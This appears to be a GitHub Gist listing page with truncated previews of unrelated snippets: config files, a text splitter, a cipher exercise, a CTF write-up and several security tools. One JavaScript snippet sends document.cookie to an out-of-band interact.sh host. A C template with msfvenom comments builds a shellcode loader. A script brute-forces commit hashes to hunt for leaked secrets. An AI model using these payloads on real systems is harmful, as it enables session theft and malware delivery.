This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Brute force commit hashes on GitHub projects. | |
Example usage: | |
brute_commit.py user/repo >> found_commits.txt | |
mkdir dump_dir; wget -c -i found_commits.txt -P dump_dir | |
trufflehog filesystem dump_dir | |
""" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import zlib | |
import argparse | |
from PIL import Image | |
def parse_args(): | |
parser = argparse.ArgumentParser(description='Decompress data using zlib') | |
parser.add_argument('pdf_file', help='The PDF file to analyze') | |
return parser.parse_args() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def split_text(text, chunk_size=500, separators=['\n\n', '.\n', ':\n', '\n', '. ', ', ', " ", ""]): | |
"""Split text into chunks of size less than chunk_size, using separators.""" | |
chunks = [] | |
current_separator_index = 0 | |
for separator in separators: | |
current_separator_index += 1 | |
if len(text) < chunk_size: | |
if len(text) > 0: | |
chunks.append(text) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global | |
log stdout format raw local0 | |
maxconn 2000 | |
defaults | |
log global | |
mode http | |
option httplog | |
timeout connect 5000ms | |
timeout client 50000ms |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import math | |
from nltk.util import ngrams | |
ciphertext = """['|']][]]}[[/]] [{}]{[]}['|'], ]]]]])([](_) {[9}])([['|'] ]]/[[[{}]{[]}['|'] ][['|'] ['|']{[]}]]([]{[[/]] ['|']])([ [{=][{[9}](_)]][}[]{ ])([](_)['|'] ['|'][{}][]{ [}/[}])([[[/]]['|'] [{}]{[]}]][}[[))[]{[}{][]{[[)) [{][]]}[{}][]{]][}[[/]]. [{[{}][]{[]{]][}[[/]], ]]]]])([](_)]][}[[/]] ]{]0]{]]][}00['|'] """ | |
charset = list(set(ciphertext)) | |
occurrences = {s: ciphertext.count(s) for s in charset} | |
print(sorted(occurrences.items(), key=lambda x: -x[1])) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
``` | |
#!/bin/sh | |
echo "\nRunning rubocop...\n" | |
declare -a ERRORS=() | |
ERRORS=("$(rubocop $(git diff --cached --name-only | tr -s "\n" " ") | grep -e 'C:' -e 'E:')") | |
if [[ "$ERRORS" != "" ]]; then | |
echo "\n BEE-BOP! There are some things that you need to fix before commiting!\n" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
--- | |
title: | |
author: | |
date: | |
include-before: | |
- ... | |
toc: true | |
toc-depth: 2 | |
toccolor: darkgray | |
numbersections: true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int main(int argc, char** argv) { | |
__asm__ ( | |
"nop \n\t" | |
// ); | |
// return 0; | |
// } | |
// python -c 'print(" \"nop \\n\\t\"\n"*2000)' >> hollow.c | |
// echo -e " );\n return 0;\n}" >> hollow.c | |
// gcc hollow.c -o hollow # gcc hollow.c -m32 -o hollow # i686-w64-mingw32-gcc -o hollow.exe hollow.c # x86_64-w64-mingw32-gcc -o hollow.exe hollow.c | |
// msfvenom ... > shellcode.asm |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var xmlHttp = new XMLHttpRequest(); | |
xmlHttp.open( "POST", "http://testjs.c990xmp2vtc00006r7r0grwoq4eyyyyyb.interact.sh", false ); | |
xmlHttp.send( document.cookie ); | |
alert("Cookie eaten"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
# RITSEC CTF 2022 - Crypto - Bad AES | |
## Custom AES implementation where Mix Columns and Shift Rows steps switch places | |
A secret government agency uses a 16-letter passphrase that is encrypted | |
to create their passwords for their computers. An insider within the agency | |
told me that everyday employees input their passphrase into this secret | |
encryption scheme to receive their password for the day & the key used to | |
encrypt their passphrase is changed by the agency daily. | |
(This is so their passwords change every day without the employee having |
NewerOlder